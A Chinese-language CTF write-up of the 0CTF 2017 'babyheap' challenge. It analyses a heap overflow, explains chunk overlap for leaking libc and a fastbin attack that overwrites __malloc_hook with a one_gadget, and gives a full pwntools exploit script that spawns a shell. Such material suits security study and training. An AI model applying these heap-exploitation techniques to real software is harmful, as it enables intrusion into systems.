题目描述 题目来源:0CTF 2017 知识点:fastbin attack,chunk overlap 题目是一个内存管理系统,能增删查改。
1 2 3 4 5 6 7 ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command:
题目是64位程序,开启保护情况:
1 2 3 4 5 6 [*] '/home/nick/pwn_learn/heapLearn/fastbinAtk/0ctf2017_babyheap/0ctfbabyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
程序概况 Allocate函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __fastcall Allocate (__int64 a1) { signed int i; signed int v2; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !*(_DWORD *)(24L L * i + a1) ) { printf ("Size: " ); v2 = get_num(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096 ; v3 = calloc (v2, 1u LL); if ( !v3 ) exit (-1 ); *(_DWORD *)(24L L * i + a1) = 1 ; *(_QWORD *)(a1 + 24L L * i + 8 ) = v2; *(_QWORD *)(a1 + 24L L * i + 16 ) = v3; printf ("Allocate Index %d\n" , (unsigned int )i); } return ; } } }
限制chunk最大为4096,使用calloc意味着分配时会将chunk中的内容清0。最后将数据存入结构体
1 2 3 4 5 00000000 chunk struc ; (sizeof=0x18, mappedto_6) 00000000 inuse dq ? 00000008 length dq ? 00000010 ptr dq ? 00000018 chunk ends
Fill函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __fastcall Fill (__int64 a1) { __int64 result; int v2; int v3; printf ("Index: " ); result = get_num(); v2 = result; if ( (signed int )result >= 0 && (signed int )result <= 15 ) { result = *(unsigned int *)(24L L * (signed int )result + a1); if ( (_DWORD)result == 1 ) { printf ("Size: " ); result = get_num(); v3 = result; if ( (signed int )result > 0 ) { printf ("Content: " ); result = sub_11B2(*(_QWORD *)(24L L * v2 + a1 + 16 ), v3); } } } return result; }
发现此处没有对size进行限制,存在溢出 。 并且,sub_11B2这个读取字符串的函数没有在字符串末尾加上'\x00'
Free函数中 将堆块释放,并将指针清0,没有什么问题。
dump函数 将指定索引的堆块内容输出
漏洞分析 泄露libc基址(chunk overlap) 因为在small bin 中只有一个chunk时,这个chunk的fd和bk将指向libc中某个地址(&main_arena+88),所以只要能够输出fd或者bk,就能泄露出libc的基址。
1 2 3 4 5 6 7 8 0x555555757000 PREV_INUSE { prev_size = 0, size = 209, fd = 0x7ffff7dd37b8 <main_arena+88>, <== libc中的地址 bk = 0x7ffff7dd37b8 <main_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0 }
问题的关键转移到如何输出fd和bk。因为存在堆溢出,那么可以通过从chunk0溢出到chunk1,修改chunk1的size,使size变大从而造成overlap,让chunk2的头部包含在chunk1中,然后就可以通过打印chunk1来泄露libc了
fastbin attack 先将chunk1释放,通过从chunk0溢出到chunk1的fd,通过控制chunk1的fd,则可以在几乎任意地方分配chunk。因为程序开启PIE和RELRO,所以没办法利用got表,则考虑malloc_hook或者free_hook等。 这里需要考虑一个问题,在从fast bin分配chunk时,会检查取到的chunk大小是否与相应的fastbin索引一致(源码如下),也就是说若要在某个地方分配chunk,需要先在这个地方构造好size,使这个size恰好属于chunk所在的fastbin。
1 2 3 4 5 6 7 8 9 10 11 if (victim != 0 ) { if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; errout: malloc_printerr(check_action, errstr, chunk2mem(victim), av); return NULL ; }
巧妙的是,在malloc_hook的前面,有类似这样的数据:
1 2 3 0x7ffff7dd3720 <__memalign_hook>: 0x00007ffff7a94fc0 0x0000000000000000 0x7ffff7dd3730 <__realloc_hook>: 0x00007ffff7a94f60 0x0000000000000000 0x7ffff7dd3740 <__malloc_hook>: 0x00007ffff7a94f20 0x0000000000000000
又因为这里并没有对齐检测,所以可以通过利用没有对齐的数据来通过检测。通过截取上面数据的7f
,和后面的00
拼在一起,变成:
1 2 3 0x7ffff7dd371d: 0xfff7a94fc0000000 0x000000000000007f 0x7ffff7dd372d: 0xfff7a94f60000000 0x000000000000007f 0x7ffff7dd373d: 0xfff7a94f20000000 0x000000000000007f
这样就构造出了一个size为0x7f
的chunk。这样就可以在这分配一个大小为0x7f的chunk,然后从这写入,覆盖一定的无效数据就能到达malloc_hook的地址,然后向malloc_hook中写入one_gadget就可以getshell了。(了解one_gadget )
漏洞利用 分配两个chunk,大小分别为0x60和0x40(第二个chunk较小是为了之后能够改大,而又不超过fastbin限制) 从chunk0溢出到chunk1的size,将其改成0x70,使chunk1覆盖的范围变大 。但此时还并没有真正变大,要释放后重新分配出来才能生效。 再分配两个chunk,chunk2需要是small chunk,chunk3是用来隔开top chunk,防止释放chunk2时被top chunk合并。因为在free的时候会检查下一个chunk的size是否大于2*size_sz并且小于system_mem(源码如下),所以还要在chunk2中构造一个fake size
1 2 3 4 5 6 7 8 9 10 nextsize = chunksize(nextchunk); if (__builtin_expect(chunksize_nomask(nextchunk) <= 2 * SIZE_SZ, 0 ) || __builtin_expect(nextsize >= av->system_mem, 0 )) { errstr = "free(): invalid next size (normal)" ; goto errout; }
将chunk1释放,并重新分配一个大小0x60的chunk,这里chunk1被取回并成功扩大。
因为使用的calloc会初始化内存,所以还需要恢复一下chunk2的前20个字节 释放chunk2,chunk2进入small bin 打印chunk1,泄露出libc的基址 通过libc基址计算出malloc_hook的地址和one_gadget的地址 释放掉chunk1,通过溢出chunk0来修改chunk1的fd,将fd修改到malloc_hook附近 通过两次分配,得到malloc_hook附近的chunk 向malloc_hook中写入one_gadget,成功getshell exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *p = process('./0ctfbabyheap' ) context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def Allocate (size) : p.recvuntil('Command: ' ) p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str(size)) def Fill (index, content) : p.recvuntil('Command: ' ) p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str(index)) p.recvuntil('Size: ' ) p.sendline(str(len(content) + 1 )) p.recvuntil('Content: ' ) p.sendline(content) def Free (index) : p.recvuntil('Command: ' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str(index)) def Dump (index) : p.recvuntil('Command: ' ) p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str(index)) p.recvuntil('Content: \n' ) data = p.recvline() return data def leak_libc () : Allocate(0x60 ) Allocate(0x40 ) payload = 'a' *0x60 + p64(0 ) + p64(0x71 ) Fill(0 , payload) Allocate(0x100 ) Allocate(0x60 ) payload = 'a' *0x10 + p64(0 ) + p64(0x71 ) Fill(2 , payload) Free(1 ) Allocate(0x60 ) payload = 'a' *0x40 + p64(0 ) + p64(0x111 ) Fill(1 , payload) Free(2 ) leaked = u64(Dump(1 )[-9 :-1 ]) - 0x3C27B8 print "libc_base : %#x" % (leaked) return leaked def fastbin_attack (libc_base) : malloc_hook = libc_base + libc.symbols['__malloc_hook' ] execve_addr = libc_base + 0x4647c print "malloc_hook : %#x" % malloc_hook print "execve_addr : %#x" % execve_addr Free(1 ) payload = 'a' *0x60 + p64(0 ) + p64(0x71 ) + p64(malloc_hook - 19 ) + p64(0 ) Fill(0 , payload) Allocate(0x60 ) Allocate(0x60 ) payload = p8(0 )*3 + p64(execve_addr) Fill(2 , payload) Allocate(0x60 ) libc_base = leak_libc() fastbin_attack(libc_base) p.interactive()
相关链接 题目链接:0ctf_babyheap writeup参考:Anciety师傅的博客